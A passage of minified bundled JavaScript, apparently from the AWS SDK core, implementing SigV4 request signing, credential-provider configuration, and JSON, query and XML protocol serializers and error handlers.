Qn1(q),{config:z,signer:w}=Y,{signingRegion:H,signingName:J}=Y,O=q.context;if(O?.authSchemes?.length??!1){let[$,_]=O.authSchemes;if($?.name==="sigv4a"&&_?.name==="sigv4")H=_?.signingRegion??H,J=_?.signingName??J}return await w.sign(A,{signingDate:Fn1(z.systemClockOffset),signingRegion:H,signingService:J})}errorHandler(A){return(K)=>{let q=K.ServerTime??QQ8(K.$response);if(q){let Y=QCA("config",A.config),z=Y.systemClockOffset;if(Y.systemClockOffset=UQ8(q,Y.systemClockOffset),Y.systemClockOffset!==z&&K.$metadata)K.$metadata.clockSkewCorrected=!0}throw K}}successHandler(A,K){let q=QQ8(A);if(q){let Y=QCA("config",K.config);Y.systemClockOffset=UQ8(q,Y.systemClockOffset)}}}var ET5=l61;class nQ8 extends l61{async sign(A,K,q){if(!gn1.HttpRequest.isInstance(A))throw Error("The request is not an instance of `HttpRequest` and cannot be signed");let{config:Y,signer:z,signingRegion:w,signingRegionSet:H,signingName:J}=await Qn1(q),X=(await Y.sigv4aSigningRegionSet?.()??H??[w]).join(",");return await z.sign(A,{signingDate:Fn1(Y.systemClockOffset),signingRegion:X,signingService:J})}}var pQ8=(A)=>typeof A==="string"&&A.length>0?A.split(",").map((K)=>K.trim()):[],rQ8=(A)=>`AWS_BEARER_TOKEN_${A.replace(/[\s-]/g,"_").toUpperCase()}`,dQ8="AWS_AUTH_SCHEME_PREFERENCE",cQ8="auth_scheme_preference",kT5={environmentVariableSelector:(A,K)=>{if(K?.signingName){if(rQ8(K.signingName)in A)return["httpBearerAuth"]}if(!(dQ8 in A))return;return pQ8(A[dQ8])},configFileSelector:(A)=>{if(!(cQ8 in A))return;return pQ8(A[cQ8])},default:[]},CT5=(A)=>{return A.sigv4aSigningRegionSet=ti.normalizeProvider(A.sigv4aSigningRegionSet),A},LT5={environmentVariableSelector(A){if(A.AWS_SIGV4A_SIGNING_REGION_SET)return A.AWS_SIGV4A_SIGNING_REGION_SET.split(",").map((K)=>K.trim());throw new mQ8.ProviderError("AWS_SIGV4A_SIGNING_REGION_SET not set in env.",{tryNextLink:!0})},configFileSelector(A){if(A.sigv4a_signing_region_set)return(A.sigv4a_signing_region_set??"").split(",").map((K)=>K.trim());throw new mQ8.ProviderError("sigv4a_signing_region_set not set in profile.",{tryNextLink:!0})},default:void 0},oQ8=(A)=>{let K=A.credentials,q=!!A.credentials,Y=void 0;Object.defineProperty(A,"credentials",{set(X){if(X&&X!==K&&X!==Y)q=!0;K=X;let $=yT5(A,{credentials:K,credentialDefaultProvider:A.credentialDefaultProvider}),_=IT5(A,$);if(q&&!_.attributed)Y=async(G)=>_(G).then((Z)=>PT5.setCredentialFeature(Z,"CREDENTIALS_CODE","e")),Y.memoized=_.memoized,Y.configBound=_.configBound,Y.attributed=!0;else Y=_},get(){return Y},enumerable:!0,configurable:!0}),A.credentials=K;let{signingEscapePath:z=!0,systemClockOffset:w=A.systemClockOffset||0,sha256:H}=A,J;if(A.signer)J=ti.normalizeProvider(A.signer);else if(A.regionInfoProvider)J=()=>ti.normalizeProvider(A.region)().then(async(X)=>[await A.regionInfoProvider(X,{useFipsEndpoint:await A.useFipsEndpoint(),useDualstackEndpoint:await A.useDualstackEndpoint()})||{},X]).then(([X,$])=>{let{signingRegion:_,signingService:G}=X;A.signingRegion=A.signingRegion||_||$,A.signingName=A.signingName||G||A.serviceId;let Z={...A,credentials:A.credentials,region:A.signingRegion,service:A.signingName,sha256:H,uriEscapePath:z};return new(A.signerConstructor||gQ8.SignatureV4)(Z)});else J=async(X)=>{X=Object.assign({},{name:"sigv4",signingName:A.signingName||A.defaultSigningName,signingRegion:await ti.normalizeProvider(A.region)(),properties:{}},X);let{signingRegion:$,signingName:_}=X;A.signingRegion=A.signingRegion||$,A.signingName=A.signingName||_||A.serviceId;let G={...A,credentials:A.credentials,region:A.signingRegion,service:A.signingName,sha256:H,uriEscapePath:z};return new(A.signerConstructor||gQ8.SignatureV4)(G)};return Object.assign(A,{systemClockOffset:w,signingEscapePath:z,signer:J})},RT5=oQ8;function yT5(A,{credentials:K,credentialDefaultProvider:q}){let Y;if(K)if(!K?.memoized)Y=ti.memoizeIdentityProvider(K,ti.isIdentityExpired,ti.doesIdentityRequireRefresh);else Y=K;else if(q)Y=ti.normalizeProvider(q(Object.assign({},A,{parentClientConfig:A})));else Y=async()=>{throw Error("@aws-sdk/core::resolveAwsSdkSigV4Config - `credentials` not provided and no credentialDefaultProvider was configured.")};return Y.memoized=!0,Y}function IT5(A,K){if(K.configBound)return K;let q=async(Y)=>K({...Y,callerClientConfig:A});return q.memoized=K.memoized,q.configBound=!0,q}class XOA{queryCompat;constructor(A=!1){this.queryCompat=A}resolveRestContentType(A,K){let q=K.getMemberSchemas(),Y=Object.values(q).find((z)=>{return!!z.getMergedTraits().httpPayload});if(Y){let z=Y.getMergedTraits().mediaType;if(z)return z;else if(Y.isStringSchema())return"text/plain";else if(Y.isBlobSchema())return"application/octet-stream";else return A}else if(!K.isUnitSchema()){if(Object.values(q).find((w)=>{let{httpQuery:H,httpQueryParams:J,httpHeader:O,httpLabel:X,httpPrefixHeaders:$}=w.getMergedTraits();return!H&&!J&&!O&&!X&&$===void 0}))return A}}async getErrorSchemaOrThrowBaseException(A,K,q,Y,z,w){let H=K,J=A;if(A.includes("#"))[H,J]=A.split("#");let O={$metadata:z,$fault:q.statusCode<500?"client":"server"},X=Zz.TypeRegistry.for(H);try{return{errorSchema:w?.(X,J)??X.getSchema(A),errorMetadata:O}}catch($){Y.message=Y.message??Y.Message??"UnknownError";let _=Zz.TypeRegistry.for("smithy.ts.sdk.synthetic."+H),G=_.getBaseException();if(G){let Z=_.getErrorCtor(G)??Error;throw this.decorateServiceException(Object.assign(new Z({name:J}),O),Y)}throw this.decorateServiceException(Object.assign(Error(J),O),Y)}}decorateServiceException(A,K={}){if(this.queryCompat){let q=A.Message??K.Message,Y=nF.decorateServiceException(A,K);if(q)Y.Message=q,Y.message=q;return Y}return nF.decorateServiceException(A,K)}setQueryCompatError(A,K){let q=K.headers?.["x-amzn-query-error"];if(A!==void 0&&q!=null){let[Y,z]=q.split(";"),w=Object.entries(A),H={Code:Y,Type:z};Object.assign(A,H);for(let[J,O]of w)H[J]=O;delete H.__type,A.Error=H}}queryCompatOutput(A,K){if(A.Error)K.Error=A.Error;if(A.Type)K.Type=A.Type;if(A.Code)K.Code=A.Code}}class aQ8 extends FQ8.SmithyRpcV2CborProtocol{awsQueryCompatible;mixin;constructor({defaultNamespace:A,awsQueryCompatible:K}){super({defaultNamespace:A});this.awsQueryCompatible=!!K,this.mixin=new XOA(this.awsQueryCompatible)}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q);if(this.awsQueryCompatible)Y.headers["x-amzn-query-mode"]="true";return Y}async handleError(A,K,q,Y,z){if(this.awsQueryCompatible)this.mixin.setQueryCompatError(Y,q);let w=FQ8.loadSmithyRpcV2CborErrorCode(q,Y)??"Unknown",{errorSchema:H,errorMetadata:J}=await this.mixin.getErrorSchemaOrThrowBaseException(w,this.options.defaultNamespace,q,Y,z),O=Zz.NormalizedSchema.of(H),X=Y.message??Y.Message??"Unknown",_=new(Zz.TypeRegistry.for(H[1]).getErrorCtor(H)??Error)(X),G={};for(let[Z,W]of O.structIterator())G[Z]=this.deserializer.readValue(W,Y[Z]);if(this.awsQueryCompatible)this.mixin.queryCompatOutput(Y,G);throw this.mixin.decorateServiceException(Object.assign(_,J,{$fault:O.getMergedTraits().error,message:X},G),Y)}}var ST5=(A)=>{if(A==null)return A;if(typeof A==="number"||typeof A==="bigint"){let K=Error(`Received number ${A} where a string was expected.`);return K.name="Warning",console.warn(K),String(A)}if(typeof A==="boolean"){let K=Error(`Received boolean ${A} where a string was expected.`);return K.name="Warning",console.warn(K),String(A)}return A},hT5=(A)=>{if(A==null)return A;if(typeof A==="string"){let K=A.toLowerCase();if(A!==""&&K!=="false"&&K!=="true"){let q=Error(`Received string "${A}" where a boolean was expected.`);q.name="Warning",console.warn(q)}return A!==""&&K!=="false"}return A},bT5=(A)=>{if(A==null)return A;if(typeof A==="string"){let K=Number(A);if(K.toString()!==A){let q=Error(`Received string "${A}" where a number was expected.`);return q.name="Warning",console.warn(q),A}return K}return A};class ei{serdeContext;setSerdeContext(A){this.serdeContext=A}}function xT5(A,K,q){if(q?.source){let Y=q.source;if(typeof K==="number"){if(K>Number.MAX_SAFE_INTEGER||K<Number.MIN_SAFE_INTEGER||Y!==String(K))if(Y.includes("."))return new s_.NumericValue(Y,"bigDecimal");else return BigInt(Y)}}return K}var sQ8=(A,K)=>nF.collectBody(A,K).then((q)=>(K?.utf8Encoder??iQ8.toUtf8)(q)),Un1=(A,K)=>sQ8(A,K).then((q)=>{if(q.length)try{return JSON.parse(q)}catch(Y){if(Y?.name==="SyntaxError")Object.defineProperty(Y,"$responseBodyText",{value:q});throw Y}return{}}),uT5=async(A,K)=>{let q=await Un1(A,K);return q.message=q.message??q.Message,q},pn1=(A,K)=>{let q=(w,H)=>Object.keys(w).find((J)=>J.toLowerCase()===H.toLowerCase()),Y=(w)=>{let H=w;if(typeof H==="number")H=H.toString();if(H.indexOf(",")>=0)H=H.split(",")[0];if(H.indexOf(":")>=0)H=H.split(":")[0];if(H.indexOf("#")>=0)H=H.split("#")[1];return H},z=q(A.headers,"x-amzn-errortype");if(z!==void 0)return Y(A.headers[z]);if(K&&typeof K==="object"){let w=q(K,"code");if(w&&K[w]!==void 0)return Y(K[w]);if(K.__type!==void 0)return Y(K.__type)}};class dn1 extends ei{settings;constructor(A){super();this.settings=A}async read(A,K){return this._read(A,typeof K==="string"?JSON.parse(K,xT5):await Un1(K,this.serdeContext))}readObject(A,K){return this._read(A,K)}_read(A,K){let q=K!==null&&typeof K==="object",Y=Zz.NormalizedSchema.of(A);if(Y.isListSchema()&&Array.isArray(K)){let w=Y.getValueSchema(),H=[],J=!!Y.getMergedTraits().sparse;for(let O of K)if(J||O!=null)H.push(this._read(w,O));return H}else if(Y.isMapSchema()&&q){let w=Y.getValueSchema(),H={},J=!!Y.getMergedTraits().sparse;for(let[O,X]of Object.entries(K))if(J||X!=null)H[O]=this._read(w,X);return H}else if(Y.isStructSchema()&&q){let w={};for(let[H,J]of Y.structIterator()){let O=this.settings.jsonName?J.getMergedTraits().jsonName??H:H,X=this._read(J,K[O]);if(X!=null)w[H]=X}return w}if(Y.isBlobSchema()&&typeof K==="string")return UCA.fromBase64(K);let z=Y.getMergedTraits().mediaType;if(Y.isStringSchema()&&typeof K==="string"&&z){if(z==="application/json"||z.endsWith("+json"))return s_.LazyJsonString.from(K)}if(Y.isTimestampSchema()&&K!=null)switch(EZ.determineTimestampFormat(Y,this.settings)){case 5:return s_.parseRfc3339DateTimeWithOffset(K);case 6:return s_.parseRfc7231DateTime(K);case 7:return s_.parseEpochTimestamp(K);default:return console.warn("Missing timestamp format, parsing value with Date constructor:",K),new Date(K)}if(Y.isBigIntegerSchema()&&(typeof K==="number"||typeof K==="string"))return BigInt(K);if(Y.isBigDecimalSchema()&&K!=null){if(K instanceof s_.NumericValue)return K;let w=K;if(w.type==="bigDecimal"&&"string"in w)return new s_.NumericValue(w.string,w.type);return new s_.NumericValue(String(K),"bigDecimal")}if(Y.isNumericSchema()&&typeof K==="string")switch(K){case"Infinity":return 1/0;case"-Infinity":return-1/0;case"NaN":return NaN}if(Y.isDocumentSchema())if(q){let w=Array.isArray(K)?[]:{};for(let[H,J]of Object.entries(K))if(J instanceof s_.NumericValue)w[H]=J;else w[H]=this._read(Y,J);return w}else return structuredClone(K);return K}}var lQ8=String.fromCharCode(925);class tQ8{values=new Map;counter=0;stage=0;createReplacer(){if(this.stage===1)throw Error("@aws-sdk/core/protocols - JsonReplacer already created.");if(this.stage===2)throw Error("@aws-sdk/core/protocols - JsonReplacer exhausted.");return this.stage=1,(A,K)=>{if(K instanceof s_.NumericValue){let q=`${lQ8+"nv"+this.counter++}_`+K.string;return this.values.set(`"${q}"`,K.string),q}if(typeof K==="bigint"){let q=K.toString(),Y=`${lQ8+"b"+this.counter++}_`+q;return this.values.set(`"${Y}"`,q),Y}return K}}replaceInJson(A){if(this.stage===0)throw Error("@aws-sdk/core/protocols - JsonReplacer not created yet.");if(this.stage===2)throw Error("@aws-sdk/core/protocols - JsonReplacer exhausted.");if(this.stage=2,this.counter===0)return A;for(let[K,q]of this.values)A=A.replace(K,q);return A}}class cn1 extends ei{settings;buffer;rootSchema;constructor(A){super();this.settings=A}write(A,K){this.rootSchema=Zz.NormalizedSchema.of(A),this.buffer=this._write(this.rootSchema,K)}writeDiscriminatedDocument(A,K){if(this.write(A,K),typeof this.buffer==="object")this.buffer.__type=Zz.NormalizedSchema.of(A).getName(!0)}flush(){let{rootSchema:A}=this;if(this.rootSchema=void 0,A?.isStructSchema()||A?.isDocumentSchema()){let K=new tQ8;return K.replaceInJson(JSON.stringify(this.buffer,K.createReplacer(),0))}return this.buffer}_write(A,K,q){let Y=K!==null&&typeof K==="object",z=Zz.NormalizedSchema.of(A);if(z.isListSchema()&&Array.isArray(K)){let w=z.getValueSchema(),H=[],J=!!z.getMergedTraits().sparse;for(let O of K)if(J||O!=null)H.push(this._write(w,O));return H}else if(z.isMapSchema()&&Y){let w=z.getValueSchema(),H={},J=!!z.getMergedTraits().sparse;for(let[O,X]of Object.entries(K))if(J||X!=null)H[O]=this._write(w,X);return H}else if(z.isStructSchema()&&Y){let w={};for(let[H,J]of z.structIterator()){let O=this.settings.jsonName?J.getMergedTraits().jsonName??H:H,X=this._write(J,K[H],z);if(X!==void 0)w[O]=X}return w}if(K===null&&q?.isStructSchema())return;if(z.isBlobSchema()&&(K instanceof Uint8Array||typeof K==="string")||z.isDocumentSchema()&&K instanceof Uint8Array){if(z===this.rootSchema)return K;return(this.serdeContext?.base64Encoder??UCA.toBase64)(K)}if((z.isTimestampSchema()||z.isDocumentSchema())&&K instanceof Date)switch(EZ.determineTimestampFormat(z,this.settings)){case 5:return K.toISOString().replace(".000Z","Z");case 6:return s_.dateToUtcString(K);case 7:return K.getTime()/1000;default:return console.warn("Missing timestamp format, using epoch seconds",K),K.getTime()/1000}if(z.isNumericSchema()&&typeof K==="number"){if(Math.abs(K)===1/0||isNaN(K))return String(K)}if(z.isStringSchema()){if(typeof K>"u"&&z.isIdempotencyToken())return s_.generateIdempotencyToken();let w=z.getMergedTraits().mediaType;if(K!=null&&w){if(w==="application/json"||w.endsWith("+json"))return s_.LazyJsonString.from(K)}}if(z.isDocumentSchema())if(Y){let w=Array.isArray(K)?[]:{};for(let[H,J]of Object.entries(K))if(J instanceof s_.NumericValue)w[H]=J;else w[H]=this._write(z,J);return w}else return structuredClone(K);return K}}class i61 extends ei{settings;constructor(A){super();this.settings=A}createSerializer(){let A=new cn1(this.settings);return A.setSerdeContext(this.serdeContext),A}createDeserializer(){let A=new dn1(this.settings);return A.setSerdeContext(this.serdeContext),A}}class n61 extends EZ.RpcProtocol{serializer;deserializer;serviceTarget;codec;mixin;awsQueryCompatible;constructor({defaultNamespace:A,serviceTarget:K,awsQueryCompatible:q}){super({defaultNamespace:A});this.serviceTarget=K,this.codec=new i61({timestampFormat:{useTrait:!0,default:7},jsonName:!1}),this.serializer=this.codec.createSerializer(),this.deserializer=this.codec.createDeserializer(),this.awsQueryCompatible=!!q,this.mixin=new XOA(this.awsQueryCompatible)}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q);if(!Y.path.endsWith("/"))Y.path+="/";if(Object.assign(Y.headers,{"content-type":`application/x-amz-json-${this.getJsonRpcVersion()}`,"x-amz-target":`${this.serviceTarget}.${A.name}`}),this.awsQueryCompatible)Y.headers["x-amzn-query-mode"]="true";if(Zz.deref(A.input)==="unit"||!Y.body)Y.body="{}";return Y}getPayloadCodec(){return this.codec}async handleError(A,K,q,Y,z){if(this.awsQueryCompatible)this.mixin.setQueryCompatError(Y,q);let w=pn1(q,Y)??"Unknown",{errorSchema:H,errorMetadata:J}=await this.mixin.getErrorSchemaOrThrowBaseException(w,this.options.defaultNamespace,q,Y,z),O=Zz.NormalizedSchema.of(H),X=Y.message??Y.Message??"Unknown",_=new(Zz.TypeRegistry.for(H[1]).getErrorCtor(H)??Error)(X),G={};for(let[Z,W]of O.structIterator()){let D=W.getMergedTraits().jsonName??Z;G[Z]=this.codec.createDeserializer().readObject(W,Y[D])}if(this.awsQueryCompatible)this.mixin.queryCompatOutput(Y,G);throw this.mixin.decorateServiceException(Object.assign(_,J,{$fault:O.getMergedTraits().error,message:X},G),Y)}}class eQ8 extends n61{constructor({defaultNamespace:A,serviceTarget:K,awsQueryCompatible:q}){super({defaultNamespace:A,serviceTarget:K,awsQueryCompatible:q})}getShapeId(){return"aws.protocols#awsJson1_0"}getJsonRpcVersion(){return"1.0"}getDefaultContentType(){return"application/x-amz-json-1.0"}}class AU8 extends n61{constructor({defaultNamespace:A,serviceTarget:K,awsQueryCompatible:q}){super({defaultNamespace:A,serviceTarget:K,awsQueryCompatible:q})}getShapeId(){return"aws.protocols#awsJson1_1"}getJsonRpcVersion(){return"1.1"}getDefaultContentType(){return"application/x-amz-json-1.1"}}class KU8 extends EZ.HttpBindingProtocol{serializer;deserializer;codec;mixin=new XOA;constructor({defaultNamespace:A}){super({defaultNamespace:A});let K={timestampFormat:{useTrait:!0,default:7},httpBindings:!0,jsonName:!0};this.codec=new i61(K),this.serializer=new EZ.HttpInterceptingShapeSerializer(this.codec.createSerializer(),K),this.deserializer=new EZ.HttpInterceptingShapeDeserializer(this.codec.createDeserializer(),K)}getShapeId(){return"aws.protocols#restJson1"}getPayloadCodec(){return this.codec}setSerdeContext(A){this.codec.setSerdeContext(A),super.setSerdeContext(A)}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q),z=Zz.NormalizedSchema.of(A.input);if(!Y.headers["content-type"]){let w=this.mixin.resolveRestContentType(this.getDefaultContentType(),z);if(w)Y.headers["content-type"]=w}if(Y.body==null&&Y.headers["content-type"]===this.getDefaultContentType())Y.body="{}";return Y}async deserializeResponse(A,K,q){let Y=await super.deserializeResponse(A,K,q),z=Zz.NormalizedSchema.of(A.output);for(let[w,H]of z.structIterator())if(H.getMemberTraits().httpPayload&&!(w in Y))Y[w]=null;return Y}async handleError(A,K,q,Y,z){let w=pn1(q,Y)??"Unknown",{errorSchema:H,errorMetadata:J}=await this.mixin.getErrorSchemaOrThrowBaseException(w,this.options.defaultNamespace,q,Y,z),O=Zz.NormalizedSchema.of(H),X=Y.message??Y.Message??"Unknown",_=new(Zz.TypeRegistry.for(H[1]).getErrorCtor(H)??Error)(X);await this.deserializeHttpMessage(H,K,q,Y);let G={};for(let[Z,W]of O.structIterator()){let D=W.getMergedTraits().jsonName??Z;G[Z]=this.codec.createDeserializer().readObject(W,Y[D])}throw this.mixin.decorateServiceException(Object.assign(_,J,{$fault:O.getMergedTraits().error,message:X},G),Y)}getDefaultContentType(){return"application/json"}}var BT5=(A)=>{if(A==null)return;if(typeof A==="object"&&"__type"in A)delete A.__type;return nF.expectUnion(A)};class r61 extends ei{settings;stringDeserializer;constructor(A){super();this.settings=A,this.stringDeserializer=new EZ.FromStringShapeDeserializer(A)}setSerdeContext(A){this.serdeContext=A,this.stringDeserializer.setSerdeContext(A)}read(A,K,q){let Y=Zz.NormalizedSchema.of(A),z=Y.getMemberSchemas();if(Y.isStructSchema()&&Y.isMemberSchema()&&!!Object.values(z).find((O)=>{return!!O.getMemberTraits().eventPayload})){let O={},X=Object.keys(z)[0];if(z[X].isBlobSchema())O[X]=K;else O[X]=this.read(z[X],K);return O}let H=(this.serdeContext?.utf8Encoder??iQ8.toUtf8)(K),J=this.parseXml(H);return this.readSchema(A,q?J[q]:J)}readSchema(A,K){let q=Zz.NormalizedSchema.of(A);if(q.isUnitSchema())return;let Y=q.getMergedTraits();if(q.isListSchema()&&!Array.isArray(K))return this.readSchema(q,[K]);if(K==null)return K;if(typeof K==="object"){let z=!!Y.sparse,w=!!Y.xmlFlattened;if(q.isListSchema()){let J=q.getValueSchema(),O=[],X=J.getMergedTraits().xmlName??"member",$=w?K:(K[0]??K)[X],_=Array.isArray($)?$:[$];for(let G of _)if(G!=null||z)O.push(this.readSchema(J,G));return O}let H={};if(q.isMapSchema()){let J=q.getKeySchema(),O=q.getValueSchema(),X;if(w)X=Array.isArray(K)?K:[K];else X=Array.isArray(K.entry)?K.entry:[K.entry];let $=J.getMergedTraits().xmlName??"key",_=O.getMergedTraits().xmlName??"value";for(let G of X){let Z=G[$],W=G[_];if(W!=null||z)H[Z]=this.readSchema(O,W)}return H}if(q.isStructSchema()){for(let[J,O]of q.structIterator()){let X=O.getMergedTraits(),$=!X.httpPayload?O.getMemberTraits().xmlName??J:X.xmlName??O.getName();if(K[$]!=null)H[J]=this.readSchema(O,K[$])}return H}if(q.isDocumentSchema())return K;throw Error(`@aws-sdk/core/protocols - xml deserializer unhandled schema type for ${q.getName(!0)}`)}if(q.isListSchema())return[];if(q.isMapSchema()||q.isStructSchema())return{};return this.stringDeserializer.read(q,K)}parseXml(A){if(A.length){let K;try{K=eE.parseXML(A)}catch(w){if(w&&typeof w==="object")Object.defineProperty(w,"$responseBodyText",{value:A});throw w}let q="#text",Y=Object.keys(K)[0],z=K[Y];if(z[q])z[Y]=z[q],delete z[q];return nF.getValueFromTextNode(z)}return{}}}class qU8 extends ei{settings;buffer;constructor(A){super();this.settings=A}write(A,K,q=""){if(this.buffer===void 0)this.buffer="";let Y=Zz.NormalizedSchema.of(A);if(q&&!q.endsWith("."))q+=".";if(Y.isBlobSchema()){if(typeof K==="string"||K instanceof Uint8Array)this.writeKey(q),this.writeValue((this.serdeContext?.base64Encoder??UCA.toBase64)(K))}else if(Y.isBooleanSchema()||Y.isNumericSchema()||Y.isStringSchema()){if(K!=null)this.writeKey(q),this.writeValue(String(K));else if(Y.isIdempotencyToken())this.writeKey(q),this.writeValue(s_.generateIdempotencyToken())}else if(Y.isBigIntegerSchema()){if(K!=null)this.writeKey(q),this.writeValue(String(K))}else if(Y.isBigDecimalSchema()){if(K!=null)this.writeKey(q),this.writeValue(K instanceof s_.NumericValue?K.string:String(K))}else if(Y.isTimestampSchema()){if(K instanceof Date)switch(this.writeKey(q),EZ.determineTimestampFormat(Y,this.settings)){case 5:this.writeValue(K.toISOString().replace(".000Z","Z"));break;case 6:this.writeValue(nF.dateToUtcString(K));break;case 7:this.writeValue(String(K.getTime()/1000));break}}else if(Y.isDocumentSchema())throw Error(`@aws-sdk/core/protocols - QuerySerializer unsupported document type ${Y.getName(!0)}`);else if(Y.isListSchema()){if(Array.isArray(K))if(K.length===0){if(this.settings.serializeEmptyLists)this.writeKey(q),this.writeValue("")}else{let z=Y.getValueSchema(),w=this.settings.flattenLists||Y.getMergedTraits().xmlFlattened,H=1;for(let J of K){if(J==null)continue;let O=this.getKey("member",z.getMergedTraits().xmlName),X=w?`${q}${H}`:`${q}${O}.${H}`;this.write(z,J,X),++H}}}else if(Y.isMapSchema()){if(K&&typeof K==="object"){let z=Y.getKeySchema(),w=Y.getValueSchema(),H=Y.getMergedTraits().xmlFlattened,J=1;for(let[O,X]of Object.entries(K)){if(X==null)continue;let $=this.getKey("key",z.getMergedTraits().xmlName),_=H?`${q}${J}.${$}`:`${q}entry.${J}.${$}`,G=this.getKey("value",w.getMergedTraits().xmlName),Z=H?`${q}${J}.${G}`:`${q}entry.${J}.${G}`;this.write(z,O,_),this.write(w,X,Z),++J}}}else if(Y.isStructSchema()){if(K&&typeof K==="object")for(let[z,w]of Y.structIterator()){if(K[z]==null&&!w.isIdempotencyToken())continue;let H=this.getKey(z,w.getMergedTraits().xmlName),J=`${q}${H}`;this.write(w,K[z],J)}}else if(Y.isUnitSchema());else throw Error(`@aws-sdk/core/protocols - QuerySerializer unrecognized schema type ${Y.getName(!0)}`)}flush(){if(this.buffer===void 0)throw Error("@aws-sdk/core/protocols - QuerySerializer cannot flush with nothing written to buffer.");let A=this.buffer;return delete this.buffer,A}getKey(A,K){let q=K??A;if(this.settings.capitalizeKeys)return q[0].toUpperCase()+q.slice(1);return q}writeKey(A){if(A.endsWith("."))A=A.slice(0,A.length-1);this.buffer+=`&${EZ.extendedEncodeURIComponent(A)}=`}writeValue(A){this.buffer+=EZ.extendedEncodeURIComponent(A)}}class ln1 extends EZ.RpcProtocol{options;serializer;deserializer;mixin=new XOA;constructor(A){super({defaultNamespace:A.defaultNamespace});this.options=A;let K={timestampFormat:{useTrait:!0,default:5},httpBindings:!1,xmlNamespace:A.xmlNamespace,serviceNamespace:A.defaultNamespace,serializeEmptyLists:!0};this.serializer=new qU8(K),this.deserializer=new r61(K)}getShapeId(){return"aws.protocols#awsQuery"}setSerdeContext(A){this.serializer.setSerdeContext(A),this.deserializer.setSerdeContext(A)}getPayloadCodec(){throw Error("AWSQuery protocol has no payload codec.")}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q);if(!Y.path.endsWith("/"))Y.path+="/";if(Object.assign(Y.headers,{"content-type":"application/x-www-form-urlencoded"}),Zz.deref(A.input)==="unit"||!Y.body)Y.body="";let z=A.name.split("#")[1]??A.name;if(Y.body=`Action=${z}&Version=${this.options.version}`+Y.body,Y.body.endsWith("&"))Y.body=Y.body.slice(-1);return Y}async deserializeResponse(A,K,q){let Y=this.deserializer,z=Zz.NormalizedSchema.of(A.output),w={};if(q.statusCode>=300){let $=await EZ.collectBody(q.body,K);if($.byteLength>0)Object.assign(w,await Y.read(15,$));await this.handleError(A,K,q,w,this.deserializeMetadata(q))}for(let $ in q.headers){let _=q.headers[$];delete q.headers[$],q.headers[$.toLowerCase()]=_}let H=A.name.split("#")[1]??A.name,J=z.isStructSchema()&&this.useNestedResult()?H+"Result":void 0,O=await EZ.collectBody(q.body,K);if(O.byteLength>0)Object.assign(w,await Y.read(z,O,J));return{$metadata:this.deserializeMetadata(q),...w}}useNestedResult(){return!0}async handleError(A,K,q,Y,z){let w=this.loadQueryErrorCode(q,Y)??"Unknown",H=this.loadQueryError(Y),J=this.loadQueryErrorMessage(Y);H.message=J,H.Error={Type:H.Type,Code:H.Code,Message:J};let{errorSchema:O,errorMetadata:X}=await this.mixin.getErrorSchemaOrThrowBaseException(w,this.options.defaultNamespace,q,H,z,(W,D)=>{try{return W.getSchema(D)}catch(j){return W.find((M)=>Zz.NormalizedSchema.of(M).getMergedTraits().awsQueryError?.[0]===D)}}),$=Zz.NormalizedSchema.of(O),G=new(Zz.TypeRegistry.for(O[1]).getErrorCtor(O)??Error)(J),Z={Error:H.Error};for(let[W,D]of $.structIterator()){let j=D.getMergedTraits().xmlName??W,M=H[j]??Y[j];Z[W]=this.deserializer.readSchema(D,M)}throw this.mixin.decorateServiceException(Object.assign(G,X,{$fault:$.getMergedTraits().error,message:J},Z),Y)}loadQueryErrorCode(A,K){let q=(K.Errors?.[0]?.Error??K.Errors?.Error??K.Error)?.Code;if(q!==void 0)return q;if(A.statusCode==404)return"NotFound"}loadQueryError(A){return A.Errors?.[0]?.Error??A.Errors?.Error??A.Error}loadQueryErrorMessage(A){let K=this.loadQueryError(A);return K?.message??K?.Message??A.message??A.Message??"Unknown"}getDefaultContentType(){return"application/x-www-form-urlencoded"}}class YU8 extends ln1{options;constructor(A){super(A);this.options=A;let K={capitalizeKeys:!0,flattenLists:!0,serializeEmptyLists:!1};Object.assign(this.serializer.settings,K)}useNestedResult(){return!1}}var zU8=(A,K)=>sQ8(A,K).then((q)=>{if(q.length){let Y;try{Y=eE.parseXML(q)}catch(J){if(J&&typeof J==="object")Object.defineProperty(J,"$responseBodyText",{value:q});throw J}let z="#text",w=Object.keys(Y)[0],H=Y[w];if(H[z])H[w]=H[z],delete H[z];return nF.getValueFromTextNode(H)}return{}}),mT5=async(A,K)=>{let q=await zU8(A,K);if(q.Error)q.Error.message=q.Error.message??q.Error.Message;return q},wU8=(A,K)=>{if(K?.Error?.Code!==void 0)return K.Error.Code;if(K?.Code!==void 0)return K.Code;if(A.statusCode==404)return"NotFound"};class in1 extends ei{settings;stringBuffer;byteBuffer;buffer;constructor(A){super();this.settings=A}write(A,K){let q=Zz.NormalizedSchema.of(A);if(q.isStringSchema()&&typeof K==="string")this.stringBuffer=K;else if(q.isBlobSchema())this.byteBuffer="byteLength"in K?K:(this.serdeContext?.base64Decoder??UCA.fromBase64)(K);else{this.buffer=this.writeStruct(q,K,void 0);let Y=q.getMergedTraits();if(Y.httpPayload&&!Y.xmlName)this.buffer.withName(q.getName())}}flush(){if(this.byteBuffer!==void 0){let K=this.byteBuffer;return delete this.byteBuffer,K}if(this.stringBuffer!==void 0){let K=this.stringBuffer;return delete this.stringBuffer,K}let A=this.buffer;if(this.settings.xmlNamespace){if(!A?.attributes?.xmlns)A.addAttribute("xmlns",this.settings.xmlNamespace)}return delete this.buffer,A.toString()}writeStruct(A,K,q){let Y=A.getMergedTraits(),z=A.isMemberSchema()&&!Y.httpPayload?A.getMemberTraits().xmlName??A.getMemberName():Y.xmlName??A.getName();if(!z||!A.isStructSchema())throw Error(`@aws-sdk/core/protocols - xml serializer, cannot write struct with empty name or non-struct, schema=${A.getName(!0)}.`);let w=eE.XmlNode.of(z),[H,J]=this.getXmlnsAttribute(A,q);for(let[O,X]of A.structIterator()){let $=K[O];if($!=null||X.isIdempotencyToken()){if(X.getMergedTraits().xmlAttribute){w.addAttribute(X.getMergedTraits().xmlName??O,this.writeSimple(X,$));continue}if(X.isListSchema())this.writeList(X,$,w,J);else if(X.isMapSchema())this.writeMap(X,$,w,J);else if(X.isStructSchema())w.addChildNode(this.writeStruct(X,$,J));else{let 